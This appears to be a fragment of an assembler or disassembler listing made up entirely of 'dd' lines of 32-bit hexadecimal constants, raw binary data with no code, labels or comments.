		dd 4F88F82Dh, 29550B19h, 1D90B0CCh, 0F168D788h,	0BE622BB6h
		dd 2F78FF4Fh, 5F58235Dh, 5744CBDh, 5D1FC3BBh, 0E746EB5Ch
		dd 98724ABh, 9AF3481h, 570F83DCh, 0D3AE550h, 0E06CEFEh
		dd 322D6858h, 5DF88E60h, 313F2DD8h, 0E9269564h,	0BA81795Fh
		dd 35204E02h, 902A1CE9h, 7E60CA29h, 9EC18D73h, 1F4128A8h
		dd 25F7F20h, 0E9CD29AAh, 1154F573h, 51D8F705h, 76AA403h
		dd 775DA225h, 0D68234D4h, 0E07EF838h, 254DD1C7h, 4CFD3AD5h
		dd 2C1FC1Fh, 0F9A112C7h, 68E1C821h, 0C7B37FD9h,	2A9E9298h
		dd 5A043148h, 4F37BDB0h, 0FF2D4D10h, 2CAF2F03h,	0D248F714h
		dd 0FF80196h, 0FEE93117h, 2391BA8h, 0E0F2FC53h,	4FDFF889h
		dd 6EE90436h, 60FDA4h, 225F6328h, 0C558C289h, 0E0C9E964h
		dd 0F21D8792h, 4AA55092h, 4A88C948h, 46A41D9h, 0EF44315Bh
		dd 0B45A34A6h, 5C40B16Dh, 0B4F64FE9h, 2513619Dh, 3E016D6Fh
		dd 5739C8CEh, 63E8A82Bh
		dd 0B5D10306h, 0A66072A3h, 339368D3h, 1441B998h, 9EA3142Bh
		dd 136E8C84h, 0BF8653E0h, 0F6A6FC98h, 27885880h, 86F15AF3h
		dd 6FB05060h, 0A6C35B30h, 0F4B84B08h, 50D1F602h, 0DE75EAB4h
		dd 38CE0703h, 93BF3EFEh, 0FE03AA15h, 8CFFF94Dh,	221AE6FBh
		dd 0D8CA1F14h, 0DCFEE7FEh, 23BA895Eh, 25D7724h,	2767E581h
		dd 0C4F56437h, 79D8F7B9h, 0BC2226DCh, 0AF6F239Fh, 0D92FD9FCh
		dd 2765495Fh, 60A4562Fh, 0DE7250BDh, 0C2FC4F5Bh, 9B28C040h
		dd 220A030Ch, 48022A50h, 13FD0CE3h, 0BBE28846h,	24F79508h
		dd 0CE6B080Ah, 4D7BBE01h, 40E9923Fh, 8009EB3Ch,	0EF509CAh
		dd 5B129F71h, 0B85B81FCh, 6154F2E5h, 0E36A5FCAh, 0F9EB2541h
		dd 5C31316h, 0F8DBDDB4h, 0B8AD9283h, 0F203CE48h, 1EF66A8Fh
		dd 114EB81Eh, 14A531D2h, 0C7820804h, 0D4B0D76Ch, 0F2833E38h
		dd 0F412708Ah, 9D497069h, 9F06B6D5h, 6813C26Ch,	4CA22107h
		dd 13354CDFh, 0C94C1C63h, 45D18768h, 0CE852DC4h, 332042FEh
		dd 0F2E04BBCh, 5981BE8Bh, 4B0E7E20h, 0D699EB34h, 143E0DA6h
		dd 0FAA5AD5Bh, 27716DF6h, 1DF9EC24h, 0BDF34469h, 0CD42D454h
		dd 0FA410F92h, 8B51D959h, 76ABF138h, 0F84F28A2h, 0FF024C4Eh
		dd 30DB3316h, 7DFCB89Ah, 681DF605h, 8A604E39h, 503E65AAh
		dd 0C4ABD874h, 0ABD0010Dh, 4666DDA3h, 254A6258h, 0D861C2A6h
		dd 705E290Ch, 850EDA8h,	0E07CEE06h, 6A5CD02Fh, 9080946h
		dd 0C0F1DFEBh, 9A8955C9h, 725779DDh, 6AA8BCC1h,	35485602h
		dd 9C69FF41h, 0BAC52E8Fh, 0D8302FFh, 5B42F00Eh,	9782BEF0h
		dd 0E2686553h, 7D320412h, 6F79745Ah, 4AF10CE9h,	0D0710702h
		dd 81EE7A26h, 997D5E08h, 0FA313B00h, 594D682Bh,	57E21A95h
		dd 1094D5Ch, 4775F4CFh,	5C0968C2h, 87107766h, 0EAA0D65Fh
		dd 792D22BFh, 8DF37439h, 7E18EB0Dh, 10F29801h, 7B303E77h
		dd 0A2502858h, 0A9E504C6h, 0FA247337h, 5E631880h, 0B47FF186h
		dd 8A0FCEE2h, 0E16AC944h, 0F32E3CE6h, 81C1ED3Fh, 1EA5F806h
		dd 0ED06407Bh, 47D1332Bh, 82EFDA9Dh, 0C4ED808h,	563D7F86h
		dd 8A3ED1Fh, 26320C04h,	0B7FC7079h, 0B914350Bh,	1ABF2F82h
		dd 0C1FA9355h, 7B249BBEh, 677AE1EAh, 13D8A24Dh,	5E07946Ch
		dd 4619D277h, 0A4380019h, 90E62D88h, 3DFE9501h,	92FAF389h
		dd 4208DCE8h, 1AD7E7DFh, 0E1567590h, 0EA882803h, 0D0D3A359h
		dd 73EB805Ah, 9BC3255Bh, 0EF5C2FC0h, 0B39CF58Ah, 90A4729Fh
		dd 0EA1DC079h, 0A3E6A17h, 6F2D0CC1h, 0E03A0FB7h, 6E9855B5h
		dd 0D949930Bh, 2A0C6032h, 71C32E1Ch, 0AAAA12EBh, 7A17A1CBh
		dd 7361E35Dh, 8516550Ch, 13720C01h, 0B891EBB8h,	0CEB8739Fh
		dd 4107664Bh, 55B9F65Ch, 7219FC4h, 0ADFF6210h, 6B62A7D4h
		dd 8852D9D5h, 10B2BA4h,	9AA96C7h, 0FEDF74E9h, 27825BDDh
		dd 29509D72h, 0D75F56A6h, 625C8531h, 0B7D1042Ah, 0D7A8F8B5h
		dd 0AC5A85FEh, 558C065h, 5EB3863h, 1668576Dh, 7B30FE25h
		dd 41C5E956h, 46E620B3h, 9E448C28h, 68301241h, 0E7D5541Bh
		dd 0BADE0FEFh, 9066B3A1h, 520C224Dh, 4A575A58h,	5E02EBD2h
		dd 40A347Fh, 954DFDBDh,	0B3F1EE03h, 1302AB0h, 3A60AC0Bh
		dd 0E864130Ch, 0C2D05C5h, 0FA1C211Dh, 49350682h, 0A93B5C7Fh
		dd 0DDB4A4F1h, 27F24F74h, 57DC8270h, 9AEDFCC8h,	6E5C012h
		dd 0F7F50BAFh, 0E2730542h, 83D7E961h, 0B2BB2685h, 0C109C17Dh
		dd 0B83060EBh, 0D11E3E02h, 5DC30942h, 0E7898792h, 9F259CFFh
		dd 922009C4h, 0C1E09627h, 36063E68h, 0BDB3A8Dh,	185728CFh
		dd 0F5295F44h, 97C08530h, 0DB204279h, 0C6F61727h, 1E6F3839h
		dd 82FD3F25h, 812DD892h, 1417680Ah, 0AC07F2Ch, 0E90B8727h
		dd 48CE967Fh, 5FB77B4h,	0BB1409E1h, 4193328Ch, 5AE3A8Eh
		dd 0F0D39400h, 660E56D2h, 966C3CBEh, 0B07830FCh, 0D02D3E83h
		dd 6108BB8Fh, 291BBAB6h, 7E71A11Ah, 4FC30A89h, 2108F56h
		dd 0E8015D18h, 80802B0Dh, 204601C2h, 0C5FE5AD5h, 0D7D63852h
		dd 0F63408F0h, 96D4EE9h, 42FD59BEh, 0FBE47DAEh,	628C739Fh
		dd 0F9FF5750h, 0E14843AAh, 206BDE75h, 48407DE9h, 9E764A9Ch
		dd 0E89479Ch, 21BADF01h, 5D6BBADFh, 102E35Ch, 6810E9EFh
		dd 2DDEF708h, 13F7D687h, 0E91012D4h, 390BEB25h,	0A7C7F55Bh
		dd 61635C25h, 3D8EB9E9h, 0BB9328C1h, 0D82D85Eh,	0AA94DF53h
		dd 0BB9A9880h, 0FCD20783h, 0B234F808h, 665731E6h, 0EBF4B5FDh
		dd 7DFA3835h, 69AA2AAAh, 4A5A620Eh, 5CACEBFh, 18037F6h
		dd 89D24C82h, 0C9F9F58Eh, 401559C9h, 7D1C48C5h,	502EFDh
		dd 0D0E91708h, 0CFB8C084h, 5A16CBDEh, 0DA263B57h, 0FF236272h
		dd 0BC2A5366h, 9380C3C6h, 1A25699Fh, 84C0D523h,	7694CF7Dh
		dd 0F55A80E9h, 0C518FE27h, 0FB1B0542h, 48F69CCCh, 5D8B2004h
		dd 0A72DDCC4h, 0E9C1F9BBh, 7AFF1A92h, 4268125Bh, 7968FF3Ch
		dd 32A22DE9h, 1D202E7Ah, 93680440h, 0EA62514Ch,	690B6CC0h
		dd 0E977097Dh, 0B2745739h, 0F9685060h, 70CB2732h, 3563A8F1h
		dd 0E91F0CF8h, 0BF3CAF53h, 83AC9F03h, 7FFD010Fh, 95402C37h
		dd 81E64E8Dh, 0EE4BE79Ah, 0FE7C84BEh, 55135BF6h, 2A63F57Ch
		dd 0ECB328E0h, 66464C4h, 4702BFCDh, 0A009EEE9h,	9257F2B9h
		dd 0B8E879E6h, 0ECC28024h, 70D5D1Ah, 784B9001h,	44FD2931h
		dd 0E9080793h, 2DF92A45h, 0F0BD6D22h, 5BA8F54Bh, 487BE33Bh
		dd 71BF8725h, 0EC88454Dh, 0CBBE42DAh, 2D5FF636h, 6F58DE5Eh
		dd 0D6989728h, 840069F9h, 4BD93550h, 2EE97F51h,	0C437F285h
		dd 85FCEECFh, 29CAFA92h, 0DFE9A0D3h, 252D5A5Ch,	45A4599Eh
		dd 3A01F1D3h, 12CA2EAFh, 0DAD05E73h, 266EC0E3h,	2D8F3712h
		dd 0E8D12040h, 0BFF33502h, 0F550398Bh, 9B2CA60h, 70AD37D2h
		dd 5BAB8510h, 9D8EA2F0h, 0CD5517E2h, 0BBB2356h,	2DF5652h
		dd 0DE22CC46h, 0EE7052C8h, 96A1B3A0h, 891E2E0Ah, 0E9E214F2h
		dd 689BC81Ah, 0BF7D4A8Eh, 24743076h, 1D0DE888h,	6FE53C7h
		dd 0AFF70DF5h, 2712ACF4h, 84FE2934h, 5A0809F8h,	74FA2A76h
		dd 116D42F9h, 0AD1FD955h, 28C814FDh, 0BDD5F7AFh, 0C4EFADDCh
		dd 5ACDFD12h, 0C388DAE0h, 7FA4EDA3h, 0F5B06D8Bh, 0A8046975h
		dd 64A9E919h, 54255EA2h, 15FAB0DFh, 0EA969F1Ch,	0F35BEDFAh
		dd 9874C1D7h, 0BBEC12BBh, 0E9830AE7h, 2A041ED6h, 0B07D2C05h
		dd 0FEC01B82h, 0C8BD0222h, 0E3FD944Ch, 7821E25Dh, 3459BF89h
		dd 750D6860h, 2F274C81h, 0AD50FE89h, 92E716BFh,	29BD2F94h
		dd 0CD4A2551h, 9E797A70h, 1828600Fh, 871D4C7Eh,	0F595E9FAh
		dd 68551FC2h, 20ED24C0h, 951455Dh, 6A30A3B9h, 0BE9DCC0h
		dd 4977387Bh, 691DC90Fh, 0F1411FF0h, 9146CF3h, 0F990C83h
		dd 0BABDB317h, 0D053F70Eh, 0D56CAF4Bh, 7EF05030h, 0B2E44FD3h
		dd 7AFC78EEh, 0CE6E27BDh, 5A68AEDCh, 84BCA90Ah,	8BBBF6D5h
		dd 63A14EBBh, 4DC508FDh, 1707A420h, 0EC65E946h,	0F821A1BFh
		dd 1C462C6Fh, 16C829Fh,	586E42F7h, 0C3DBB551h, 68D37F49h
		dd 247517E9h, 0A31C1722h, 0DDFA977Bh, 31AA3BBDh, 2B9F7E4Bh
		dd 17DF66FDh, 4BBBC4h, 0C4155114h, 1068AB59h, 0E1077028h
		dd 0D20FF23Fh, 0D2CEA2AEh, 978EC9A0h, 6870CB56h, 0CD635AFAh
		dd 9DD0CDC3h, 27C9E3BBh, 343B772Fh, 232B47D9h, 376802F5h
		dd 4121C31Fh, 0D552EA51h, 0B5C6C0EEh, 7B9F3E7Dh, 34726EF3h
		dd 24CDA5A6h, 127E9EBFh, 0A80C4568h, 0BE0BD257h, 2390C0FFh
		dd 0E84EBF3Ch, 5A5C5CBDh
		dd 927D7675h, 3080A74Dh, 0CA218563h, 594A4859h,	38621907h
		dd 0E1B0F566h, 82163A76h, 30EE89C4h, 606857D1h,	7C3B7917h
		dd 6D0A1A3h, 1B6FEFC0h,	3590357Bh, 5B62BC0Bh, 2968B36h
		dd 60212D87h, 3DD7C2h, 15356CB1h, 0E9C254EAh, 7FC4E54Dh
		dd 223E830Bh, 579B5771h, 17D410D2h, 0A56EFF83h,	4DD9D91Eh
		dd 8C4F252Bh, 6EFCCBF3h, 0F0B2084Eh, 0EB3E7912h, 269FA608h
		dd 48CE0671h, 0EE00CE4Ch, 4907AD28h, 2F36092Dh,	1E5C2CC6h
		dd 74975E17h, 0B0FCEB6Bh, 1879C9E1h, 92414DC0h,	0EC040828h
		dd 0D029E909h, 0BC32490Ch, 503A5313h, 86195801h, 43ECDE82h
		dd 5424CB3Dh, 0A5C59884h, 2902521Ch, 685AFB49h,	4E4684EAh
		dd 79C3BD12h, 1DCAE824h, 7022CB98h, 7F01811Ah, 68A0FEB8h
		dd 0B09D69F6h, 50061B7Bh, 0ECDF174h, 5F0A1D4Ah,	0E48153E9h
		dd 2B5A9267h, 0EA3BC2E0h, 56E7632h, 150380C3h, 1142EAF7h
		dd 0F2FAE9FBh, 6E0EECE2h, 4F660C21h, 96F6C11Ch,	52005EB4h
		dd 0BB1798BAh, 0AF739703h, 60A8EA01h, 0E2F06842h, 6A0F1F2Ch
		dd 10CA014Bh, 34170B79h, 1A03CFAFh, 0F5B94626h,	2943C8CEh
		dd 403798F1h, 6825589Bh, 0A2DBDA8Dh, 7399FE1Dh,	972FEBEDh
		dd 4D5B0527h, 10BAD88h,	0CE806CB6h, 7BF6CCC2h, 13497695h
		dd 26FABCF8h, 0E9049788h, 0F5F49435h, 64FE9DF6h, 80FF0C98h
		dd 3DA173E4h, 78AA7EECh, 455E4DFFh, 0E19DB896h,	0DB116373h
		dd 550502FBh, 5D956250h, 0B3C13D30h, 0D9923BBFh, 179C74CBh
		dd 0A95F45EFh, 4A29F80Dh, 130440ACh, 0AF3A1619h, 34887044h
		dd 0F9335D0Eh, 0D68BCFC3h, 55BD2CFAh, 9E0E92Dh,	0D7F35507h
		dd 35B3E9E1h, 90BE527Eh, 0FEFCEEFAh, 76182130h,	50162ACBh
		dd 9F5EFE79h, 2E09478Bh, 6F276E4h, 0D9288F4Ah, 0EFF441EEh
		dd 8C47ABB4h, 67D3F901h, 0F63103E1h, 6F2C34A0h,	0B75A7CDAh
		dd 0FEBC74Ah, 0E18B511Fh, 0EC7D7F62h, 0A072046h, 0EA54A998h
		dd 0C3BEBFB8h, 20C8AC47h, 5DF507CEh, 0CD9D4AC6h, 910557D8h
		dd 3CEE28FDh, 590640CBh, 90BF58E2h, 587E68F8h, 64D4A617h
		dd 3B56DC68h, 0AF7DCF83h, 0EA04416Fh, 326E0DFEh, 12E443C0h
		dd 180C6129h, 302A8DA2h, 0FEFA9D49h, 153A7D9Dh,	0E2EA7A93h
		dd 3D486655h, 0EE4E23A4h, 17A275DCh, 879342Ch, 291561AEh
		dd 5B3E4924h, 0E92030AEh, 2AC715DEh, 0B3C2A1BEh, 0FAB78920h
		dd 4AE97772h, 559321EAh, 0C9F56EBDh, 0E969203Ah, 0A09F9726h
		dd 467E96D2h, 0F802814Ch, 7C9F8E13h, 0AE65CF2Ch, 0F8C757ABh
		dd 682984B1h, 0ECF75F0Bh, 6106B07Dh, 1B25A9CAh,	0F6E342EAh
		dd 709D44C0h, 0AA98E6ECh, 98680328h, 34ABAC4Ah,	0E6230465h
		dd 3230BBF8h, 4E68C80Fh, 0D44AB83Ah, 0CCC92CB4h, 0B08E38Fh
		dd 93662468h, 6FE17781h, 0CE3CD82Eh, 975E8140h,	0F3682301h
		dd 0CA820422h, 902A52DDh, 0B5C75B42h, 2FB6F93Dh, 0E3AA0F12h
		dd 0CCFE1D03h, 0C058E1C7h, 53660330h, 33B20252h, 0FE2DF280h
		dd 0AAEA7A60h, 7E4884Bh, 6B1031E9h, 2E30F3F5h, 120BB1B6h
		dd 8E05BCBEh, 0FBC4EB5Ah, 787B3980h, 0FD1A0B40h, 47760A68h
		dd 0F7BF5365h, 10974CDCh, 5710BEDBh, 0C3014EF7h, 7647E0Fh
		dd 38BF560h, 0D062B22h,	0BE0018E8h, 0F35F542Dh,	99C73102h
		dd 0D3DCC9A5h, 0BFDAAC2h, 775662FDh, 0EFB8EDD0h, 19F4241Fh
		dd 5076CE01h, 0CD6B2FAAh, 1713128h, 3587E906h, 0D746AD97h
		dd 0E5D6986h, 0B9297A95h, 0ABF36FE1h, 0B913A453h, 0C8B054AAh
		dd 0B1201D58h, 233DB903h, 0D95713BCh, 4B7D8DFDh, 72222109h
		dd 70E44701h, 0F0FFE2D6h, 0AEEE0599h, 0FB85D8C6h, 0E9494801h
		dd 0B92A2730h, 9ED29E21h, 0DD5B43C2h, 0A57F4DABh, 0B2005E3Ch
		dd 60934E4h, 930D0048h,	3524E50Eh, 0ED0B3EF7h, 0F0C22926h
		dd 0BB4F4871h, 0FC8FF5A4h, 0EB927998h, 755DEA27h, 0E9D7AC18h
		dd 319AA0FEh, 5402C227h, 0FDFE64AEh, 0C7F5103Fh, 1DDCFA51h
		dd 70224867h, 273DF01h,	0E3EF0149h, 0E9080295h,	0D97D7C71h
		dd 239F09DAh, 6C6006DEh, 1278D76Ah, 0D60834E9h,	5F97447Ah
		dd 0D82EE32Bh, 7B01EA53h, 5BA148E7h, 0CB0BFB3Bh, 7569629Bh
		dd 0E59FFC1Eh, 2246926h, 43FCBA0Eh, 3D39AF5Eh, 685C703Ah
		dd 2C626630h, 0B13D7C0h, 0BA0E2F05h, 3060A491h,	0BE38C56Ah
		dd 97B468E0h, 0D8D77509h, 0AA4B54BDh, 0ADE9B766h, 52138542h
		dd 79C2B5B6h, 174E1AEh,	26511B30h, 71E9EB1h, 0DED2F659h
		dd 0EAC00BA1h, 0EE553005h, 0C5DB4081h, 0B77A5AA9h, 933DFCD4h
		dd 89D529F7h, 743CB2C1h, 41660120h, 22CB3FB0h, 6039267Fh
		dd 73BB47F8h, 4DF338Eh,	4E6F2F0h, 1875C88h, 5CE90E87h
		dd 965FCBA3h, 0F5E52023h, 6CF45C4Ah, 0A1740047h, 0E9C23123h
		dd 5EDDC6BDh, 570BB859h, 0C85F26Bh, 4B5EDB68h, 0F6BB4FCCh
		dd 50590BB9h, 2D775E53h, 0AFFC2BA4h, 0E7CF1112h, 2B204B58h
		dd 0AB952FA3h, 0C5A27E64h, 4DD60186h, 0A37DED80h, 40226A82h
		dd 72E4C52Ch, 0FF29500Bh, 0CBC85F01h, 613B0400h, 0E4BC5F21h
		dd 0BF055912h, 0FC24FE39h, 58E92552h, 6C77DD8Bh, 0E97E9788h
		dd 0C5555C51h, 1081B3EAh, 0EB4E4312h, 0C8D8A231h, 0BF84FF04h
		dd 0B4F7BBB8h, 0A3769582h, 388B5EFh, 2559965Ah,	0B64E165Fh
		dd 9BA6C2ACh, 6DBA6600h, 4E70E909h, 7B55FE64h, 4D681653h
		dd 0B67BBC0Eh, 7FC37E2Ah, 0D50FB7F5h, 17E94521h, 8F2924E7h
		dd 0B3CC541h, 0AD1568B1h, 0CA26D779h, 0BD073177h, 29552D87h
		dd 282A4CAEh, 6CF409BFh, 557E0F1Ch, 20A17B08h, 0DF37D0BFh
		dd 0E8AC899Fh, 0A5464D7Dh, 0ED409ED7h, 62D6A0Dh, 0A4133968h
		dd 0B072CC1Bh, 955B9AAh, 7C51F78Eh, 0CDCE7D5Ah,	0EB8B0B9Ch
		dd 44AB5C0Fh, 20E2AA5Fh, 2572BE8Bh, 11ADED5Eh, 0F8576A69h
		dd 0E4E9127Fh, 0E875AF9Dh, 731DA105h, 6B90A4A8h, 78C30496h
		dd 0FD0106E4h, 5C4DF25Ch, 0FC10FF55h, 8F582932h, 0E244A22Dh
		dd 0AD09D3DFh, 1B00EDD6h, 0F9315955h, 683C49E9h, 5022AD4Ah
		dd 765B742Dh, 407847C8h, 872759C4h, 47E5751Ch, 0F425E9BBh
		dd 0EA8B398Dh, 64895707h, 5BC08DD6h, 0F905447Ah, 0FA4E3B78h
		dd 67048213h, 0EB135572h, 4D88E80h, 9DCAE49Ch, 51FC6300h
		dd 625E16E9h, 0B26A3929h, 0E78BC41Ah, 730D2500h, 53043CA1h
		dd 47797BBBh, 707F25C2h, 0AABA4A14h, 6053253h, 0F4377A9Ch
		dd 48D5F682h, 9DF02964h, 0B26AA8E0h, 0B5AE6E9Dh, 199E4BB0h
		dd 0F45BCC2Fh, 3E0BC890h, 8B86D14Bh, 0F44BA0C0h, 0BF666E20h
		dd 10BAF59h, 0F69E85C5h, 0F9B3803h, 92BDF8B8h, 0E1981607h
		dd 19E0B831h, 5F267BD2h, 0F0F6A93Fh, 0C25397E9h, 34D9682Eh
		dd 0A189C3F1h, 0AD9BD73Bh, 0C22BF1C9h, 7A105C5Fh, 52BF1075h
		dd 0EC5A605Eh, 34FD1E02h, 9A62D5FCh, 0F78546Bh,	1663BA4Bh
		dd 0AF358AD0h, 87E03E5Fh, 0E40997D3h, 69F0D858h, 51013DBEh
		dd 4B703968h, 40B8F870h, 0DA5B0174h, 82A49EFCh,	32F11963h
		dd 0E8EB84C8h, 4D0BE937h, 5E267C2Dh, 9C1063h, 0FB027005h
		dd 51F8296Ch, 0FF45072Dh, 0F8B6C8A8h, 2B70410Bh, 5D287522h
		dd 0E98D3108h, 2A9625F2h, 0EDA0E7C5h, 0C4C5BF57h, 86B53B8Ch
		dd 7F250F2Dh, 8D497A6Ah, 43FFBFE2h, 60627D1h, 0F63351FCh
		dd 0AFB75EC2h, 1097E41Eh, 4BBAE7C0h, 0DEB0634Dh, 0AF000B40h
		dd 756E0DC6h, 0ECB85041h, 2DA20B30h, 0BAD69FE9h, 2AC9559Dh
		dd 8247DE16h, 7C615AA1h, 70E28BE2h, 0E2EE5E5Fh,	8B77F368h
		dd 6A8179A4h, 615C1330h
		dd 3E7545D3h, 0AC3AD19Dh, 0C236C43Eh, 0B6065DF9h, 0B2720D74h
		dd 78791600h, 6A432D55h, 52F01C3h, 14617FFBh, 60F9D840h
		dd 353CCA03h, 0D6D68D7Eh, 65420742h, 690152FCh,	2808A788h
		dd 0D150202Dh, 88F5F8C4h, 36446802h, 43A5357h, 0B82CDFE9h
		dd 220C9E1Dh, 43273174h, 0DE257D51h, 1F1C5D0Ah,	4EE88333h
		dd 0C00BEC87h, 684EA3D0h, 0DC86DF07h, 82C3E324h, 0C8F39901h
		dd 259FEBD8h, 0BA75D888h, 6D17F7C6h, 0C1BDE90Bh, 0C8D84EFAh
		dd 0B51D92D6h, 5D12BADEh, 0BFA5E0F8h, 777904C0h, 2E2FE41h
		dd 1B5B3539h, 0CBFDEAD1h, 0F9C2E010h, 86C64C49h, 13FFD524h
		dd 0A12BA8CDh, 6AC31Ch,	0FA1D6012h, 47EC572Dh, 0D221F12h
		dd 0AAA371D1h, 471B700h, 0F83A3C70h, 0A75B3B2Ch, 3A1CDC48h
		dd 0A8B3530Ah, 0AEC71690h, 69E364Ch, 419E983Bh,	8CB02EA4h
		dd 2E031D76h, 0FAD2F453h, 775E8692h, 0F4A58376h, 8CB2143h
		dd 2D3C11E7h, 0E50FF6C5h, 0EEBE9592h, 5DED2B8Dh, 1240CB6Fh
		dd 0E640CB66h, 15F550DDh, 58C11631h, 0C3E21E81h, 0CE014320h
		dd 24B7A0B9h, 7C172423h, 0B28A1944h, 1FB6E940h,	2867D232h
		dd 8A2618D8h, 0D9FFE479h, 8901021Dh, 89C90F24h,	16A55436h
		dd 0E68CA009h, 7350220Ch, 0C175E879h, 820E8877h, 5227858h
		dd 646F2A9Ch, 0EA0555A9h, 0FBC312DFh, 57090BC0h, 966D981Ch
		dd 30555137h, 72027FB6h, 0CAE94C0Eh, 524EF2D9h,	0AB4F99C7h
		dd 0AE3E5339h, 0C0374621h, 32BAB8BAh, 0B2A76ADCh, 80DBE5ACh
		dd 5D4CEB28h, 9A4E2E78h, 4B08C594h, 52D532EEh, 5075350h
		dd 120D0BA9h, 94A874A5h, 17D72824h, 0BB84578Ah,	3C0ECF52h
		dd 67770086h, 746BA525h, 0A8E91871h, 73B4204Ah,	924A7090h
		dd 0D621F0D1h, 0ED4F9D7Fh, 3AF825F7h, 54BDBF69h, 9070B1C0h
		dd 53B0CA4Fh, 22F8B694h, 1D4D2014h, 1620D1A0h, 0A76F513Dh
		dd 29254182h, 5F880024h, 219F44AFh, 33D81444h, 0DA2CB2C4h
		dd 23865615h, 6EE26A5h,	0C7F1735h, 514A1E0Bh, 0AA28553Bh
		dd 160C3408h, 9739BD14h, 0FE514C49h, 0DE5F522Fh, 3EA4C031h
		dd 810202FFh, 0E6465C9h, 2F445474h, 0F8767EF2h,	70C15FF0h
		dd 468E0923h, 11999885h, 91AC0FEEh, 0C90B4E50h,	0E24A7FC7h
		dd 453C8D5h, 6D2C25E5h,	0B09D320Eh, 17E90910h, 5D28D05Fh
		dd 18AEB5AEh, 46A91AD8h, 9075993Eh, 0FA735231h,	3D4B6064h
		dd 550DEEF2h, 2C27407Bh, 315C7C8h, 2C31B966h, 4F6B3C10h
		dd 294A0502h, 85F1AC8h,	53250784h, 1E7F2781h, 97C9BDF9h
		dd 9CBB151Ch, 560453F0h, 0D1488668h, 0BFA482AFh, 304B7541h
		dd 3C17791Dh, 9CF8680Dh, 3BA3DF50h, 0E9151D38h,	59278D11h
		dd 27CEE457h, 477EA68h,	0E7AA1498h, 158E7A60h, 0AB3B6F68h
		dd 0CCA55A7Dh, 560EBE1Ah, 935F082Ch, 0C8D05921h, 0CA9EA805h
		dd 3A12C488h, 0D8BF6FC5h, 0B7414056h, 4E51A520h, 49D6FDB9h
		dd 80D22FADh, 683FB3C9h, 5D4054D3h, 80F502B2h, 0C2FEE3F2h
		dd 63162FD2h, 74AD53E9h, 0BD556D98h, 0F15E3BECh, 0FB05A3ACh
		dd 1374E275h, 0F662C4E6h, 0BDD51922h, 13EC5C16h, 27D07A28h
		dd 0D0A28C3Fh, 0B25F4BD9h, 445BDDA3h, 9DB8E984h, 1ECADB88h
		dd 0C9427309h, 445F5B16h, 205DA672h, 58646D81h,	0B9001726h
		dd 78D343ADh, 54D7C9F5h, 0C5D5C198h, 0D65DC207h, 0D360D87Ah
		dd 46E133D2h, 0C310EF2Eh, 0E4629677h, 54E2E430h, 5BB8154h
		dd 0D02ADDE2h, 6F38BB31h, 0BDE84030h, 69507D0Bh, 5A44D8E5h
		dd 5A3683C9h, 5D2CD880h, 482D6814h, 81B6C0E3h, 1633B450h
		dd 0E9AD4FE9h, 5DD010CFh, 959E8BDFh, 71A9B5Fh, 885202B8h
		dd 8BD724C2h, 30580B5Dh, 9F8852F8h, 91AD8Ah, 29E474CCh
		dd 5140BBE9h, 4A41775Fh, 0EE5FD5A4h, 5DEFE052h,	0BCDBBF3Ah
		dd 0E02A8580h, 0C1BBFBD5h, 2BAD8A90h, 40DF86CCh, 0D4B0BF59h
		dd 81315E0Eh, 5F6A80E7h, 0B2B6E976h, 0C821012Eh, 0CE8C159h
		dd 0C5EFDB31h, 942521AEh, 7E33CBCh, 4D9E012Dh, 7ECEA5A2h
		dd 0D3F3737Eh, 0C1EA3144h, 705EF36h, 20A20E82h,	0F7C00F3Bh
		dd 0FE6B183Dh, 0A502E29Fh, 36D56526h, 58056301h, 0EB30104Eh
		dd 0A2670339h, 46E9494Bh, 0F3A99585h, 2E2A48EEh, 0E7C29E2Eh
		dd 0D15605C4h, 0E87464DBh, 550586Ah, 8DEC5E06h,	4AE4524Ch
		dd 3DE98B02h, 56C9A79Ch, 10D4372h, 0C12AEB80h, 25CFE9CBh
		dd 10D33079h, 67BEB04Fh, 0A0F6BE27h, 5B4E595Ch,	9F417AE0h
		dd 0EF88A90Eh, 517CAE28h, 5E1327DFh, 8EFBAA56h,	0E9571FF4h
		dd 95ABD8EDh, 5CF9FC7Ch, 10D3CB7Ah, 810EE75Fh, 490065F5h
		dd 1A460574h, 609F4A73h, 9D915057h, 3E3FF1C7h, 0C71DE195h
		dd 0ADF1EE91h, 3BD0A16Ah, 8B2FDBCBh, 5D5F2EF8h,	46F353Dh
		dd 0FB6668BDh, 62012546h, 63F20763h, 0B226FB15h, 2A46E78Fh
		dd 0FFB2D79Dh, 20D0F077h, 0E1E0877Ch, 753A8078h, 5FC90F58h
		dd 2505EFC0h, 9AF97471h, 0B0CDEB35h, 14C7043Fh,	91E375F3h
		dd 22BE4C5Bh, 0B3C645Fh, 9AAD5FC2h, 0CFDBDDF8h,	0F0F3EEA4h
		dd 90D1FFD2h, 0C4A7BAF0h, 7983EE6h, 3839F800h, 0C268575Ah
		dd 5D442808h, 17F705A8h, 262D17Eh, 1B27B9B7h, 0CD2080D5h
		dd 178AF1FCh, 0FBA573E9h, 52F0D9Bh, 78A57076h, 78502F5Ah
		dd 0AEA80979h, 461D010Ch, 0E0860C61h, 3D40B509h, 0C54C2DAFh
		dd 42FF2D17h, 155B744Eh, 593AD252h, 32C42DFEh, 6812EE4Eh
		dd 17E34035h, 0A989B82Dh, 1CE41AFEh, 0FE2A6BF1h, 6CE1B164h
		dd 25979B3Fh, 5411105Fh, 0EC6FED8Bh, 4BE9AC9Bh,	0B30716BFh
		dd 3D0092ABh, 2FA42E86h, 0EDDC35E9h, 0D0FF0B2Ch, 0F30F8356h
		dd 3796BFD3h, 50AB3753h, 0E44FF2B8h, 5A4BD709h,	2768523Ch
		dd 4F96E6Dh, 0D78B5FA7h, 72892774h, 623C5CCEh, 0C10714EBh
		dd 0C813DDEBh, 9C17E8DBh, 35EEFD68h, 4E64EAD7h,	0C980E8EAh
		dd 422D076h, 4DB25251h,	0E54AC288h, 0C597037Eh,	0A0C2C5BAh
		dd 19403121h, 0E8F0B550h, 0F963CF2h, 693AE23Eh,	9558C41Bh
		dd 830FCFF0h, 0CE461279h, 66D1B222h, 5B00F555h,	0D8FCF829h
		dd 0AE8C1E5Fh, 69716954h, 0EEEE6E84h, 78AC0B4Fh, 0FC3F2D0Ch
		dd 0F5F9955Ch, 0D79F1A3Fh, 0A49F431Ch, 88A0A5D5h, 6F73416Ch
		dd 2D4C1ABCh, 0C4049E2Fh, 51D8EF5Ah, 3F3481DEh,	0E91213B6h
		dd 0FCAE845Dh, 41DCE147h, 56E68000h, 0D9FFE3B7h, 9E32CAF9h
		dd 0BADB0C93h, 0E8A45716h, 29C01D30h, 261282F2h, 16493833h
